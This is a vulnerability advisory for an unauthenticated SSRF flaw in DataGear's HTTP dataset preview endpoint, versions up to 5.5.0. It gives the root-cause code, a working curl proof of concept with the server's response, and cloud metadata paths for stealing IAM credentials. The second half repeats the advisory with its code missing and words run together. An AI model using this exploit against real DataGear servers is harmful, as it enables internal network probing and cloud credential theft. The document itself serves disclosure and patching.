Package: org.datagear / datagear-web (HTTP dataset preview)
Affected Versions: <= 5.5.0
Summary
The /dataSet/preview/Http endpoint in DataGear allows an unauthenticated attacker to make the server issue arbitrary HTTP requests to any URL, including internal loopback and private network addresses. The full HTTP response body is returned to the caller. No authentication is required because the default configuration assigns the ROLE_DATA_ANALYST role to anonymous users, and the endpoint's security rule permits any Data Analyst (including anonymous) to access it. The underlying HttpClient is created via HttpClients.createDefault() with no SSRF protections (no IP blocklist, no redirect controls, no private-range filtering).
Details
Root cause -- no SSRF protection in HttpDataSet:
datagear-web/src/main/java/org/datagear/web/config/CoreConfigSupport.java, line ~386:
public CloseableHttpClient httpClient() {
return HttpClients.createDefault(); // no SSRF mitigations
}
datagear-analysis/src/main/java/org/datagear/analysis/support/HttpDataSet.java (the resolveResult method) directly calls this.httpClient.execute(request, resultHandler) against the caller-supplied URI with no IP/range validation.
Root cause -- endpoint accessible to anonymous users:
The security configuration (SecurityConfigSupport.java) maps /dataSet/preview/** into the dataAnalyst catch-all rule:
UrlsAccess read = new UrlsAccess(dataAnalystAuthorizationManager(), "/dataSet/**");
AuthenticationSecurity.hasDataAnalyst() returns true for anonymous users when disableAnonymous=false (the default), because the default configuration (application.properties) assigns ROLE_DATA_ANALYST to all anonymous visitors:
defaultRole.anonymous=ROLE_DATA_ANALYST
This means hasDataAnalyst(auth) returns true for unauthenticated requests, granting them access to /dataSet/preview/Http.
Contrast with gated sibling path:
The /dataSet/saveAdd/Http endpoint (which persists a dataset) is correctly protected under dataManagerAuthorizationManager() (requires ROLE_DATA_MANAGER or admin), so an anonymous user cannot permanently save a malicious dataset. However, the preview path, intended for temporary execution during dataset creation, applies the weaker dataAnalyst rule and is exposed to anonymous users -- executing the HTTP request server-side and returning the full response body.
DataSetController.java (the preview method):
@RequestMapping(value = "/preview/" + DataSetEntity.DATA_SET_TYPE_Http, produces = CONTENT_TYPE_JSON)
@ResponseBody
public TemplateResolvedDataSetResult previewHttp(..., @RequestBody HttpDataSetEntityPreview preview) {
...
if (StringUtil.isEmpty(entity.getId())) {
inflateSaveAddBaseInfo(request, user, entity);
checkSaveHttpDataSetEntity(request, user, entity, null); // only checks name/uri are non-blank
}
entity.setHttpClient(getDataSetEntityService().buildHttpClient(entity));
DataSetQuery query = convertDataSetQuery(...);
return doPreviewHttp(entity, query); // fires the HTTP request
}
checkSaveHttpDataSetEntity only verifies that name and uri are not blank -- there is no URL validation or private-range check.
PoC
No authentication is required. The following curl command demonstrates the server fetching a loopback address and returning the response to the attacker:
Step 1 -- Start a listener on the target host (to simulate an internal service):
python3 -c "
import http.server, socketserver
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(b'{\"internal\":true,\"data\":\"sensitive_internal_secret\"}')
def log_message(self,*a): pass
socketserver.TCPServer(('127.0.0.1',18888),H).serve_forever()
" &
Step 2 -- Send a single unauthenticated request (no session cookie, no credentials):
curl -s -X POST http://TARGET:9090/dataSet/preview/Http \
-H "Content-Type: application/json" \
-d '{
"dataSet": {
"name": "ssrf",
"uri": "http://127.0.0.1:18888/internal-path",
"requestMethod": "GET",
"responseContentType": "JSON"
},
"query": {}
}'
Observed server response (DataGear 5.5.0, unauthenticated):
{
"result": {
"data": {
"internal": true,
"data": "sensitive_internal_secret"
},
"ignoreFetch": false
},
"fields": [
{"name": "internal", "type": "STRING", "evaluated": false},
{"name": "data", "type": "STRING", "evaluated": false}
],
"templateResult": "URI:\nhttp://127.0.0.1:18888/internal-path"
}
The DataGear server fetched the loopback address and returned the full response body. The attack also works against cloud metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/) and any other internal service reachable from the server.
Impact
An unauthenticated attacker on any network that can reach a DataGear instance can:
- Probe and enumerate internal network services (port scanning via timing/response differences).
- Retrieve response bodies from internal HTTP services -- including cloud metadata APIs (AWS IMDSv1, GCP metadata, Azure IMDS), internal admin panels, and adjacent microservices.
- In cloud environments, retrieve credentials from the metadata endpoint (e.g., AWS IAM role credentials via
http://169.254.169.254/latest/meta-data/iam/security-credentials/).
No account, session, or prior access is required. The attack is fully external and requires only a single HTTP POST request.
Package: org.datagear / datagear-web (HTTP dataset preview)
Affected Versions: <= 5.5.0
Summary
The
/dataSet/preview/Httpendpoint in DataGear allows an unauthenticated attacker to make the server issue arbitrary HTTP requests to any URL, including internal loopback and private network addresses. The full HTTP response body is returned to the caller. No authentication is required because the default configuration assigns theROLE_DATA_ANALYSTrole to anonymous users, and the endpoint's security rule permits any Data Analyst (including anonymous) to access it. The underlyingHttpClientis created viaHttpClients.createDefault()with no SSRF protections (no IP blocklist, no redirect controls, no private-range filtering).Details
Root cause -- no SSRF protection in HttpDataSet:
datagear-web/src/main/java/org/datagear/web/config/CoreConfigSupport.java, line ~386:datagear-analysis/src/main/java/org/datagear/analysis/support/HttpDataSet.java(theresolveResultmethod) directly callsthis.httpClient.execute(request, resultHandler)against the caller-supplied URI with no IP/range validation.Root cause -- endpoint accessible to anonymous users:
The security configuration (
SecurityConfigSupport.java) maps/dataSet/preview/**into the dataAnalyst catch-all rule:AuthenticationSecurity.hasDataAnalyst()returnstruefor anonymous users whendisableAnonymous=false(the default), because the default configuration (application.properties) assignsROLE_DATA_ANALYSTto all anonymous visitors:This means
hasDataAnalyst(auth)returns true for unauthenticated requests, granting them access to/dataSet/preview/Http.Contrast with gated sibling path:
The
/dataSet/saveAdd/Httpendpoint (which persists a dataset) is correctly protected underdataManagerAuthorizationManager()(requires ROLE_DATA_MANAGER or admin), so an anonymous user cannot permanently save a malicious dataset. However, the preview path, intended for temporary execution during dataset creation, applies the weaker dataAnalyst rule and is exposed to anonymous users -- executing the HTTP request server-side and returning the full response body.DataSetController.java (the preview method):
checkSaveHttpDataSetEntityonly verifies thatnameanduriare not blank -- there is no URL validation or private-range check.PoC
No authentication is required. The following
curlcommand demonstrates the server fetching a loopback address and returning the response to the attacker:Step 1 -- Start a listener on the target host (to simulate an internal service):
Step 2 -- Send a single unauthenticated request (no session cookie, no credentials):
Observed server response (DataGear 5.5.0, unauthenticated):
{ "result": { "data": { "internal": true, "data": "sensitive_internal_secret" }, "ignoreFetch": false }, "fields": [ {"name": "internal", "type": "STRING", "evaluated": false}, {"name": "data", "type": "STRING", "evaluated": false} ], "templateResult": "URI:\nhttp://127.0.0.1:18888/internal-path" }The DataGear server fetched the loopback address and returned the full response body. The attack also works against cloud metadata endpoints (e.g.,
http://169.254.169.254/latest/meta-data/) and any other internal service reachable from the server.Impact
An unauthenticated attacker on any network that can reach a DataGear instance can:
http://169.254.169.254/latest/meta-data/iam/security-credentials/).No account, session, or prior access is required. The attack is fully external and requires only a single HTTP POST request.